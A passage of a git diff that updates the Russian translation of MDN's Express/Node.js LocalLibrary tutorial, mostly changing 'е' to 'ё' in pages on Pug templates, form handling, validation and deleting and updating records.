auto; width: 1000px;"></p> <div class="note"> -<p><strong>Заметка:</strong> Элементы бокового меню использовать еще нельзя, так как адреса, представления и шаблоны для этих страниц еще не определены. Если вы попытаетесь их использовать, будет выведено сообщение об ошибке, например, вида "NOT IMPLEMENTED: Book list" (НЕ РЕАЛИЗОВАНО: список книг), в зависимости от выбранного элемента меню. Эти строковые литералы (которые будут замещены действительными данными) были заданы в различных файлах контроллеров в каталоге "controllers".</p> +<p><strong>Заметка:</strong> Элементы бокового меню использовать ещё нельзя, так как адреса, представления и шаблоны для этих страниц ещё не определены. Если вы попытаетесь их использовать, будет выведено сообщение об ошибке, например, вида "NOT IMPLEMENTED: Book list" (НЕ РЕАЛИЗОВАНО: список книг), в зависимости от выбранного элемента меню. Эти строковые литералы (которые будут замещены действительными данными) были заданы в различных файлах контроллеров в каталоге "controllers".</p> </div> <h2 id="Next_steps">Next steps</h2> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/index.html index bbe11606e8..4082c32f4a 100644 --- a/files/ru/learn/server-side/express_nodejs/displaying_data/index.html +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/index.html @@ -7,7 +7,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data <div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</div> -<p class="summary">Теперь мы готовы добавить страницы, на которых будут отображаться книги веб-сайта <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a> и другие данные. Страницы будут включать главную страницу, которая показывает сколько записей определенного типа мы имеем и отдельные страницы для детального просмотра записей. Попутно мы приобретем практический опыт в получении записей из баз данных и использовании шаблонов.</p> +<p class="summary">Теперь мы готовы добавить страницы, на которых будут отображаться книги веб-сайта <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a> и другие данные. Страницы будут включать главную страницу, которая показывает сколько записей определённого типа мы имеем и отдельные страницы для детального просмотра записей. Попутно мы приобретём практический опыт в получении записей из баз данных и использовании шаблонов.</p> <table class="learn-box standard-table"> <tbody> @@ -28,7 +28,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data <p>Следующим шагом является обеспечение правильных реализаций для страниц, которые отображают информацию из библиотеки (мы рассмотрим реализацию страниц с формами для создания, обновления или удаления информации в последующих статьях). Это включает в себя обновление функций контроллера для извлечения записей с помощью наших моделей и определение шаблонов для отображения этой информации пользователям.</p> -<p>Мы начнем с обзорных / основных тем, объясняющих, как управлять асинхронными операциями в функциях контроллера и как писать шаблоны с помощью Pug. Затем мы предоставим реализации для каждой из наших основных страниц" только для чтения " с кратким объяснением любых специальных или новых функций, которые они используют.</p> +<p>Мы начнём с обзорных / основных тем, объясняющих, как управлять асинхронными операциями в функциях контроллера и как писать шаблоны с помощью Pug. Затем мы предоставим реализации для каждой из наших основных страниц" только для чтения " с кратким объяснением любых специальных или новых функций, которые они используют.</p> <p>В конце этой статьи вы должны иметь хорошее сквозное понимание того, как маршруты, асинхронные функции, представления и модели работают на практике.</p> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html index 449d197c96..7eeebc6e2a 100644 --- a/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html @@ -17,7 +17,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer <h2 class="highlight-spanned" id="Конфигурация_шаблона"><span class="highlight-span">Конфигурация шаблона</span></h2> -<p>Когда создавался каркас (<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">the skeleton website</a>) веб-сайта <em>LocalLibrary, </em>он был настроен на использование <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a> . Можно было заметить, что модуль pug включен в зависимости в файле <strong>package.json</strong>, и установлен (app.set(...)) как движок представлений в файле <strong>app.js</strong>. Эта установка показывает,, что движок представлений - pug, и что <em>Express</em> должен искать шаблоны в подкаталоге <strong>/views</strong>.</p> +<p>Когда создавался каркас (<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">the skeleton website</a>) веб-сайта <em>LocalLibrary, </em>он был настроен на использование <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a> . Можно было заметить, что модуль pug включён в зависимости в файле <strong>package.json</strong>, и установлен (app.set(...)) как движок представлений в файле <strong>app.js</strong>. Эта установка показывает,, что движок представлений - pug, и что <em>Express</em> должен искать шаблоны в подкаталоге <strong>/views</strong>.</p> <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// View engine setup.</span> app<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="string token">'views'</span><span class="punctuation token">,</span> path<span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span>__dirname<span class="punctuation token">,</span> <span class="string token">'views'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> @@ -36,7 +36,7 @@ app<span class="punctuation token">.</span><span class="keyword token">set</span <p>Пример файла шаблона (ниже) демонстрирует многие наиболее полезные черты Pug.</p> -<p>Сначала отметим, что файл отражает структуру типового HTML-файла, причем первое слов в (почти) каждой строке является элементом HTML, а отступы используются, чтобы показать вложенные элементы. Так, например, элемент <code>body</code> находится внутри элемента <code>html</code>, а элементы <code>p</code> (параграфы) - внутри элемента <code>body,</code> и так далее. Невложенные элементы (т.е. индивидуальные параграфы) располагаются в отдельных строках.</p> +<p>Сначала отметим, что файл отражает структуру типового HTML-файла, причём первое слов в (почти) каждой строке является элементом HTML, а отступы используются, чтобы показать вложенные элементы. Так, например, элемент <code>body</code> находится внутри элемента <code>html</code>, а элементы <code>p</code> (параграфы) - внутри элемента <code>body,</code> и так далее. Невложенные элементы (т.е. индивидуальные параграфы) располагаются в отдельных строках.</p> <pre class="brush: html line-numbers language-html"><code class="language-html">doctype html html(lang="en") @@ -74,7 +74,7 @@ html(lang="en") each val in [1, 2, 3, 4, 5] li= val</code></pre> -<p>Атрибуты элементов определены в скобках после соответствующих элементов. В скобках располагается список пар <em>имя атрибута=значение,</em>причем элементы списка разделяются запятой или пробелом. Например:</p> +<p>Атрибуты элементов определены в скобках после соответствующих элементов. В скобках располагается список пар <em>имя атрибута=значение,</em>причём элементы списка разделяются запятой или пробелом. Например:</p> <ul> <li><code>script(type='text/javascript')</code>, <code>link(rel='stylesheet', href='/stylesheets/style.css')</code></li> @@ -83,7 +83,7 @@ html(lang="en") <p>Значения всех атрибутов <em>экранируются</em> (т.е. такие символы как "<code>></code>" заменяются эквивалентными кодами HTML как "<code>&gt;"</code>) , чтобы предотвратить JavaScript инъекции и межсайтовые атаки.</p> -<p>Если после тэга стоит знак = , следующий текст рассматривается как <em>выражение</em> JavaScript. Например, ниже в первой строке, содержимое тэга <code>h1</code> будет <em>переменной </em> <code>title</code> (которая определена в файле или передана в шаблон из Express). Во второй строке содержимое параграфа - это текстовая строка, соединенная с переменной <code>title</code> . В каждом из случаев поведение по умолчанию - экранировать строки.</p> +<p>Если после тэга стоит знак = , следующий текст рассматривается как <em>выражение</em> JavaScript. Например, ниже в первой строке, содержимое тэга <code>h1</code> будет <em>переменной </em> <code>title</code> (которая определена в файле или передана в шаблон из Express). Во второй строке содержимое параграфа - это текстовая строка, соединённая с переменной <code>title</code> . В каждом из случаев поведение по умолчанию - экранировать строки.</p> <pre class="brush: html line-numbers language-html"><code class="language-html">h1= title p= 'Evaluated and <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span>escaped expression<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>:' + title</code></pre> @@ -97,12 +97,12 @@ p This line has an un-escaped string: !{'<span class="tag token"><span class="ta <p><strong>Совет:</strong> Почти всегда желательно экранировать данные, полученные от пользователей (при помощи синтаксиса <strong><code>#{}</code></strong> ). Данные, которым можно верить (т.е. подсчитанное количество записей, могут быть выведены без экранирования значений.</p> </div> -<p>Можно использовать символ конвейера ('<strong>|</strong>') в начале строки, чтобы отметить простой текст ("<a class="external external-icon" href="https://pugjs.org/language/plain-text.html" rel="noopener">plain text</a>"). Например, дополнительный текст, приведенный ниже, будет показан в той же строке, что и предыдущий, но не будет относиться к ссылке.</p> +<p>Можно использовать символ конвейера ('<strong>|</strong>') в начале строки, чтобы отметить простой текст ("<a class="external external-icon" href="https://pugjs.org/language/plain-text.html" rel="noopener">plain text</a>"). Например, дополнительный текст, приведённый ниже, будет показан в той же строке, что и предыдущий, но не будет относиться к ссылке.</p> <pre class="brush: html line-numbers language-html"><code class="language-html">a(href='http://someurl/') Link text | Plain text</code></pre> -<p>Pug позволяет выполнять условные операции <code>if</code>, <code>else</code> , <code>else if</code> и <code>unless</code>— пример приведен ниже:</p> +<p>Pug позволяет выполнять условные операции <code>if</code>, <code>else</code> , <code>else if</code> и <code>unless</code>— пример приведён ниже:</p> <pre class="brush: html line-numbers language-html"><code class="language-html">if title p Переменная с именем "title" существует @@ -131,7 +131,7 @@ html body block content</code></pre> -<p>Тэг <code>block</code> применен для отметки разделов контента, которые могут быть заменены в производных шаблона (если блок не переопределяется, будет использования его реализация в базовом классе).</p> +<p>Тэг <code>block</code> применён для отметки разделов контента, которые могут быть заменены в производных шаблона (если блок не переопределяется, будет использования его реализация в базовом классе).</p> <p>Умолчание для <strong>index.pug</strong> (созданный для каркаса проекта) показывает, как можно заменить базовый шаблон. Тэг <code>extends</code> идентифицирует базовый шаблон, который следует использовать, а затем мы используем <code>block <em>section_name,</em></code> чтобы отметить новый контент раздела, который мы заменяем.</p> diff --git a/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html index 13f409ea3c..f5b742715d 100644 --- a/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html +++ b/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html @@ -139,7 +139,7 @@ block content <h2 class="highlight-spanned" id="Как_это_выглядит"><span class="highlight-span">Как это выглядит?</span></h2> -<p>Запустите приложение и откройте в браузере <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Затем выберите ссылку <em>Create new book instance (copy)</em>. Если все настроено правильно, ваш сайт должен выглядеть примерно так, как показано на скриншоте. После того, как вы отправите валидный <code>BookInstance</code>, он должен быть сохранен, и вы попадете на страницу сведений.</p> +<p>Запустите приложение и откройте в браузере <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Затем выберите ссылку <em>Create new book instance (copy)</em>. Если все настроено правильно, ваш сайт должен выглядеть примерно так, как показано на скриншоте. После того, как вы отправите валидный <code>BookInstance</code>, он должен быть сохранён, и вы попадёте на страницу сведений.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14490/LocalLibary_Express_BookInstance_Create_Empty.png" style="display: block; height: 554px; margin: 0px auto; width: 1000px;"></p> diff --git a/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html index a92d787ec6..f03565426b 100644 --- a/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html +++ b/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html @@ -5,7 +5,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms/Delete_author_form --- <p>В этой статье показано, как определить страницу для удаления объектов <code>Author</code>.</p> -<p>Как описано в разделе <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms#form_design">form design</a>, наша стратегия будет заключаться в том, чтобы разрешить удаление только объектов, на которые не ссылаются другие объекты(в этом случае это означает, что мы не позволим <code>Author</code> быть удаленным, если на него ссылается <code>Book</code>). С точки зрения реализации это означает, что форма должна подтвердить, что нет никаких связанных книг, прежде чем автор будет удален. Если есть связанные книги, то они должны отображаться и быть удалены до того, как будет удален объект <code>Author</code>.</p> +<p>Как описано в разделе <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms#form_design">form design</a>, наша стратегия будет заключаться в том, чтобы разрешить удаление только объектов, на которые не ссылаются другие объекты(в этом случае это означает, что мы не позволим <code>Author</code> быть удалённым, если на него ссылается <code>Book</code>). С точки зрения реализации это означает, что форма должна подтвердить, что нет никаких связанных книг, прежде чем автор будет удалён. Если есть связанные книги, то они должны отображаться и быть удалены до того, как будет удалён объект <code>Author</code>.</p> <h2 class="highlight-spanned" id="Controller—get_route">Controller—get route</h2> @@ -32,7 +32,7 @@ exports.author_delete_get = function(req, res, next) { };</code></pre> -<p>Контроллер получает id экземпляра <code>Author</code> для удаления из параметра URL (<code>req.params.id</code>). Он использует метод <code>async.parallel()</code> , чтобы получить запись автора и параллельно вс связанные книги. Когда оба параметра авершины, он рендерит страницу <code><strong>author_delete</strong></code><strong>.pug</strong>, передает значения для <code>title</code>, <code>author</code>, и <code>author_books</code>.</p> +<p>Контроллер получает id экземпляра <code>Author</code> для удаления из параметра URL (<code>req.params.id</code>). Он использует метод <code>async.parallel()</code> , чтобы получить запись автора и параллельно вс связанные книги. Когда оба параметра авершины, он рендерит страницу <code><strong>author_delete</strong></code><strong>.pug</strong>, передаёт значения для <code>title</code>, <code>author</code>, и <code>author_books</code>.</p> <div class="note"> <p><strong>Заметка:</strong> Если <code>findById()</code><strong> </strong>не возвращает результатов, то автор отсутствует в базе данных. В этом случае удалять нечего, поэтому сразу выводим список всех авторов.</p> @@ -77,10 +77,10 @@ exports.author_delete_post = function(req, res, next) { }); };</code></pre> -<p>Сначала мы проверяем, что был предоставлен id (он отправляется через параметры тела формы, а не через версию в URL). Затем мы получаем автора и связанные с ним книги так же, как и для маршрута <code>GET</code>. Если книг нет, то удаляем объект автора и перенаправляем в список всех авторов. Если есть еще книги, то мы просто перерисовываем форму, передавая автора и список книг, которые нужно удалить.</p> +<p>Сначала мы проверяем, что был предоставлен id (он отправляется через параметры тела формы, а не через версию в URL). Затем мы получаем автора и связанные с ним книги так же, как и для маршрута <code>GET</code>. Если книг нет, то удаляем объект автора и перенаправляем в список всех авторов. Если есть ещё книги, то мы просто перерисовываем форму, передавая автора и список книг, которые нужно удалить.</p> <div class="note"> -<p><strong>Заметка:</strong> Мы можем проверить, возвращает ли вызов <code>findbyid ()</code> какой-либо результат, и если нет, немедленно отобразить список всех авторов.Для краткости мы оставили код как есть выше (он все равно вернет список авторов, если id не будет найден, но это произойдет после <code>findByIdAndRemove()</code>).</p> +<p><strong>Заметка:</strong> Мы можем проверить, возвращает ли вызов <code>findbyid ()</code> какой-либо результат, и если нет, немедленно отобразить список всех авторов.Для краткости мы оставили код как есть выше (он все равно вернёт список авторов, если id не будет найден, но это произойдёт после <code>findByIdAndRemove()</code>).</p> </div> <h2 class="highlight-spanned" id="View">View</h2> @@ -128,7 +128,7 @@ block content <p>Затем мы добавим элемент управления <code>Delete</code> в представление сведений об авторе (страница сведений-хорошее место для удаления записи).</p> <div class="note"> -<p><strong>Note:</strong> В полном объеме контроль будет доступен только авторизованным пользователям. Однако на данный момент у нас нет системы авторизации!</p> +<p><strong>Note:</strong> В полном объёме контроль будет доступен только авторизованным пользователям. Однако на данный момент у нас нет системы авторизации!</p> </div> <p>Откройте <strong>author_detail.pug</strong> и добавьте следующие строки внизу.</p> diff --git a/files/ru/learn/server-side/express_nodejs/forms/index.html b/files/ru/learn/server-side/express_nodejs/forms/index.html index 6042d57b17..8048ad020b 100644 --- a/files/ru/learn/server-side/express_nodejs/forms/index.html +++ b/files/ru/learn/server-side/express_nodejs/forms/index.html @@ -30,12 +30,12 @@ translation_of: Learn/Server-side/Express_Nodejs/forms <p><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML форма</a> - это группа из одного или нескольких полей / виджетов на веб-странице, которая может использоваться для сбора информации от пользователей для отправки на сервер. Формы представляют собой гибкий механизм для сбора данных, вводимых пользователем, поскольку существуют подходящие входные данные форм, доступные для ввода различных типов данных-текстовые поля, флажки, переключатели, средства выбора даты и т. д. Формы также являются относительно безопасным способом обмена данными с сервером, поскольку они позволяют отправлять данные в запросах <code>POST</code> с защитой от подделки межсайтовых запросов.</p> -<p>Работа с формами может быть сложной! Разработчику нужно написать HTML код для форм, валидацию и правильно анализировать введенные данные на сервере (и, возможно, также в браузере), отобразить форму с сообщениями об ошибках, чтобы сообщить пользователям о любых недопустимых полях, обработать данные, когда они были успешно отправлены, и, наконец, каким-то образом ответить пользователю о том, что результат успешен.</p> +<p>Работа с формами может быть сложной! Разработчику нужно написать HTML код для форм, валидацию и правильно анализировать введённые данные на сервере (и, возможно, также в браузере), отобразить форму с сообщениями об ошибках, чтобы сообщить пользователям о любых недопустимых полях, обработать данные, когда они были успешно отправлены, и, наконец, каким-то образом ответить пользователю о том, что результат успешен.</p> <p>В этом уроке мы покажем вам, как вышеуказанные операции могут быть выполнены в <em>Express</em>. По пути мы расширим веб-сайт <em>LocalLibrary</em>, чтобы пользователи могли создавать, редактировать и удалять элементы из библиотеки.</p> <div class="note"> -<p><strong>Заметка:</strong> Мы не рассматривали, как ограничить определенные маршруты аутентифицированными или авторизованными пользователями, поэтому на данный момент любой пользователь сможет вносить изменения в базу данных.</p> +<p><strong>Заметка:</strong> Мы не рассматривали, как ограничить определённые маршруты аутентифицированными или авторизованными пользователями, поэтому на данный момент любой пользователь сможет вносить изменения в базу данных.</p> </div> <h3 id="HTML_Forms">HTML Forms</h3> @@ -44,7 +44,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms <p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p> -<p>Определенные в HTML формы собираются внутри тэга <code><form>...</form></code>, содержащего хотя ы один элемент <code>input</code> с <code>type="submit"</code>.</p> +<p>Определённые в HTML формы собираются внутри тэга <code><form>...</form></code>, содержащего хотя ы один элемент <code>input</code> с <code>type="submit"</code>.</p> <pre class="brush: html notranslate"><form action="/team_name_url/" method="post"> <label for="team_name">Enter name: </label> @@ -52,7 +52,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms <input type="submit" value="OK"> </form></pre> -<p>Хотя здесь мы включили только одно (текстовое) поле для ввода имени команды, форма может содержать любое количество других элементов ввода и связанных с ними меток. Атрибут <code>type</code> определяет какой из <a href="/ru/docs/Learn/HTML/Forms/Стандартные_виджеты_форм">виджетов</a> будет выбран для отображения поля. Атрибуты <code>name</code> и <code>id</code> идентифицируют поле в JavaScript/CSS/HTML, а <code>value</code> определяет его первоначальное значение. Связанная с полем метка, задается с помощью тега <code style="font-style: normal; font-weight: normal;">label</code> (располагается строкой выше и содержит в себе подпись "Enter name"). Связь метки и поля ввода устанавливается при помощи атрибута <code>for</code>, в котором указывается значение идентификатора поля (<code>input</code> <code>id</code>).</p> +<p>Хотя здесь мы включили только одно (текстовое) поле для ввода имени команды, форма может содержать любое количество других элементов ввода и связанных с ними меток. Атрибут <code>type</code> определяет какой из <a href="/ru/docs/Learn/HTML/Forms/Стандартные_виджеты_форм">виджетов</a> будет выбран для отображения поля. Атрибуты <code>name</code> и <code>id</code> идентифицируют поле в JavaScript/CSS/HTML, а <code>value</code> определяет его первоначальное значение. Связанная с полем метка, задаётся с помощью тега <code style="font-style: normal; font-weight: normal;">label</code> (располагается строкой выше и содержит в себе подпись "Enter name"). Связь метки и поля ввода устанавливается при помощи атрибута <code>for</code>, в котором указывается значение идентификатора поля (<code>input</code> <code>id</code>).</p> <p>Input <code>submit </code>будет отображаться в виде кнопки (по умолчанию) - он может быть нажат пользователем, чтобы загрузить данные, содержащиеся в других входных элементов на сервер (в данном случае, только team_name). Атрибуты формы определяют метод HTTP, используемый для отправки данных, и назначение данных на сервере (action):</p> @@ -70,7 +70,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms <p>Обработка форм использует все те же методы, которые мы изучили для отображения информации о наших моделях: маршрут отправляет запрос в функцию контроллера, которая выполняет все необходимые действия с базой данных, включая чтение данных из моделей, а затем генерирует и возвращает HTML-страницу. Что усложняет ситуацию, так это то, что сервер также должен иметь возможность обрабатывать данные, предоставленные пользователем, и повторно отображать форму с информацией об ошибках, если есть какие-либо проблемы.</p> -<p>Блок-схема процесса обработки запросов формы показана ниже, начиная с запроса страницы, содержащей форму (показана зеленым цветом):</p> +<p>Блок-схема процесса обработки запросов формы показана ниже, начиная с запроса страницы, содержащей форму (показана зелёным цветом):</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14478/Web%20server%20form%20handling.png" style="height: 649px; width: 800px;"></p> @@ -79,7 +79,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms <ol> <li>Отображение формы по умолчанию при первом запросе пользователем. <ul> - <li>Форма может содержать пустые поля (например, если вы создаете новую запись), или она может быть предварительно заполнена начальными значениями (например, если вы изменяете запись или имеете полезные начальные значения по умолчанию).</li> + <li>Форма может содержать пустые поля (например, если вы создаёте новую запись), или она может быть предварительно заполнена начальными значениями (например, если вы изменяете запись или имеете полезные начальные значения по умолчанию).</li> </ul> </li> <li>Получение данных, отправленных пользователем, обычно в запросе HTTP <code>POST</code>.</li> @@ -98,7 +98,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms <p>Перед сохранением данных формы их необходимо проверить и очистить:</p> <ul> - <li>Проверка проверяет, что введенные значения являются подходящими для каждого поля (расположены в правильном диапазоне, формат и т. д.) и что значения были предоставлены для всех обязательных полей.</li> + <li>Проверка проверяет, что введённые значения являются подходящими для каждого поля (расположены в правильном диапазоне, формат и т. д.) и что значения были предоставлены для всех обязательных полей.</li> <li>Очистка удаляет / заменяет символы в данных, которые потенциально могут использоваться для отправки вредоносного содержимого на сервер.</li> </ul> @@ -128,7 +128,7 @@ const { sanitizeBody } = require('express-validator/filter'); <p>Функции определяются следующим образом:</p> <ul> - <li><code><a href="https://github.com/ctavan/express-validator#bodyfields-message">body(fields[, message])</a></code>: Задает набор полей в теле запроса (параметр <code>POST</code>) для проверки, а также необязательное сообщение об ошибке, которое может отображаться в случае сбоя тестов. Критерии проверки последовательно связаны с методом <code>body()</code>. Например, первая проверка ниже проверяет, что поле" имя "не пустое и задает сообщение об ошибке" пустое имя", если оно не пустое. Второй тест проверяет, что поле age является допустимой датой, и с помощью optional() указывает, что пустые и пустые строки не пройдут проверку. + <li><code><a href="https://github.com/ctavan/express-validator#bodyfields-message">body(fields[, message])</a></code>: Задаёт набор полей в теле запроса (параметр <code>POST</code>) для проверки, а также необязательное сообщение об ошибке, которое может отображаться в случае сбоя тестов. Критерии проверки последовательно связаны с методом <code>body()</code>. Например, первая проверка ниже проверяет, что поле" имя "не пустое и задаёт сообщение об ошибке" пустое имя", если оно не пустое. Второй тест проверяет, что поле age является допустимой датой, и с помощью optional() указывает, что пустые и пустые строки не пройдут проверку. <pre class="brush: js notranslate">body('name', 'Empty name').isLength({ min: 1 }), body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(), @@ -143,7 +143,7 @@ body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(), <p><strong>Note:</strong> Вы также можете добавить встроенные средства очистки, такие как <code>trim()</code>, как показано выше. Однако средства очистки, применяемые здесь, применяются только к шагу проверки. Если требуется очистить конечный результат, необходимо использовать отдельный метод очистки, как показано ниже.</p> </div> </li> - <li><code><a href="https://github.com/ctavan/express-validator#sanitizebodyfields">sanitizeBody(fields)</a></code>: Задает поле тела для очистки. затем операции очистки последовательно соединяются с этим методом. Например, операция очистки <code>escape()</code>, описанная ниже, удаляет символы HTML из переменной name, которые могут использоваться в атаках сценариев между сайтами JavaScript. + <li><code><a href="https://github.com/ctavan/express-validator#sanitizebodyfields">sanitizeBody(fields)</a></code>: Задаёт поле тела для очистки. затем операции очистки последовательно соединяются с этим методом. Например, операция очистки <code>escape()</code>, описанная ниже, удаляет символы HTML из переменной name, которые могут использоваться в атаках сценариев между сайтами JavaScript. <pre class="brush: js notranslate">sanitizeBody('name').trim().escape(), sanitizeBody('date').toDate(),</pre> </li> @@ -172,8 +172,8 @@ sanitizeBody('date').toDate(),</pre> <p>Многие модели в библиотеке связаны / зависимы—например, книга требует автора, а также может иметь один или несколько жанров. Это поднимает вопрос о том, как мы должны обрабатывать случай, когда пользователь хочет:</p> <ul> - <li>Создайте объект, если связанные с ним объекты еще не существуют (например, книга, в которой не определен объект автора).</li> - <li>Удаление объекта, который все еще используется другим объектом (например, удаление жанра, который все еще используется книгой).</li> + <li>Создайте объект, если связанные с ним объекты ещё не существуют (например, книга, в которой не определён объект автора).</li> + <li>Удаление объекта, который все ещё используется другим объектом (например, удаление жанра, который все ещё используется книгой).</li> </ul> <p>Для этого проекта мы упростили реализацию, объявив, что форма может быть только:</p> @@ -184,12 +184,12 @@ sanitizeBody('date').toDate(),</pre> </ul> <div class="note"> -<p><strong>Note:</strong> Более" надежная " реализация может позволить создавать зависимые объекты при создании нового объекта и удалять любой объект в любое время (например, путем удаления зависимых объектов или путем удаления ссылок на удаленный объект из базы данных).</p> +<p><strong>Note:</strong> Более" надёжная " реализация может позволить создавать зависимые объекты при создании нового объекта и удалять любой объект в любое время (например, путём удаления зависимых объектов или путём удаления ссылок на удалённый объект из базы данных).</p> </div> <h3 id="Маршруты">Маршруты</h3> -<p>Чтобы реализовать наш код обработки форм, нам понадобятся два маршрута с одинаковым шаблоном URL. Первый (<code>GET</code>) маршрут используется для отображения новой пустой формы создания объекта. Второй маршрут (<code>POST</code>) используется для проверки введенных пользователем данных, а затем сохранения информации и перенаправления на страницу сведений (если данные верны) или повторного отображения формы с ошибками (если данные неверны).</p> +<p>Чтобы реализовать наш код обработки форм, нам понадобятся два маршрута с одинаковым шаблоном URL. Первый (<code>GET</code>) маршрут используется для отображения новой пустой формы создания объекта. Второй маршрут (<code>POST</code>) используется для проверки введённых пользователем данных, а затем сохранения информации и перенаправления на страницу сведений (если данные верны) или повторного отображения формы с ошибками (если данные неверны).</p> <p>Мы уже создали маршруты для всех страниц создания нашей модели в <strong>/routes/catalog.js</strong> (in a <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes">previous tutorial</a>). Например, жанровые маршруты показаны ниже:</p> diff --git a/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html index ba6d79d71d..374c4a2590 100644 --- a/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html +++ b/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html @@ -44,7 +44,7 @@ exports<span class="punctuation token">.</span>book_update_get <span class="oper <span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> -<p>Контроллер получит id <code>Book</code> книги для обновления из параметра URL (<code>req.params.id</code>). Он использует метод <code>async.parallel()</code>чтобы получить указанную запись <code>Book</code> (заполнение полей жанра и автора) и список всех объектов <code>Author</code> и <code>Genre</code>. Когда все операции завершены, он помечает выбранные жанры как отмеченные, а затем отображает их в <strong>book_form.pug</strong>, передает переменные <code>itle</code>, book, всех <code>authors</code>, и все<code>genres</code>.</p> +<p>Контроллер получит id <code>Book</code> книги для обновления из параметра URL (<code>req.params.id</code>). Он использует метод <code>async.parallel()</code>чтобы получить указанную запись <code>Book</code> (заполнение полей жанра и автора) и список всех объектов <code>Author</code> и <code>Genre</code>. Когда все операции завершены, он помечает выбранные жанры как отмеченные, а затем отображает их в <strong>book_form.pug</strong>, передаёт переменные <code>itle</code>, book, всех <code>authors</code>, и все<code>genres</code>.</p> <h2 class="highlight-spanned" id="Controller—post_route"><span class="highlight-span">Controller—post route</span></h2> @@ -128,7 +128,7 @@ exports<span class="punctuation token">.</span>book_update_post <span class="ope <span class="punctuation token">}</span> <span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre> -<p>Это очень похоже на маршрут записи, используемый при создании Book. Сперва мы проверяем и очищаем данные книги и используем их для создание нового объекта <code>Book</code>(устанавливая его значение <code>_id</code> в идентификатор объекта для обновления). Если есть ошибки, когда мы проверяем данные, то мы повторно представляем форму, дополнительно отображая данные, введенные пользователем, ошибки, а также списки жанров и авторов. Если ошибок нет, то мы вызываем <code>Book.findByIdAndUpdate()</code> для обновления документа <code>Book</code>, а затем перенаправить на страницу сведений.</p> +<p>Это очень похоже на маршрут записи, используемый при создании Book. Сперва мы проверяем и очищаем данные книги и используем их для создание нового объекта <code>Book</code>(устанавливая его значение <code>_id</code> в идентификатор объекта для обновления). Если есть ошибки, когда мы проверяем данные, то мы повторно представляем форму, дополнительно отображая данные, введённые пользователем, ошибки, а также списки жанров и авторов. Если ошибок нет, то мы вызываем <code>Book.findByIdAndUpdate()</code> для обновления документа <code>Book</code>, а затем перенаправить на страницу сведений.</p> <h2 class="highlight-spanned" id="View"><span class="highlight-span">View</span></h2> diff --git a/files/ru/learn/server-side/express_nodejs/index.html b/files/ru/learn/server-side/express_nodejs/index.html index 48a631f4c3..21c9909faa 100644 --- a/files/ru/learn/server-side/express_nodejs/index.html +++ b/files/ru/learn/server-side/express_nodejs/index.html @@ -28,7 +28,7 @@ translation_of: Learn/Server-side/Express_Nodejs <dl> <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Введение в Express/Node</a></dt> - <dd>В первой статье об Express мы ответим на вопросы "Что такое Node?" и "Что такое Express?" и дадим вам представление о том, что делает веб-фреймворк Express особенным. <span 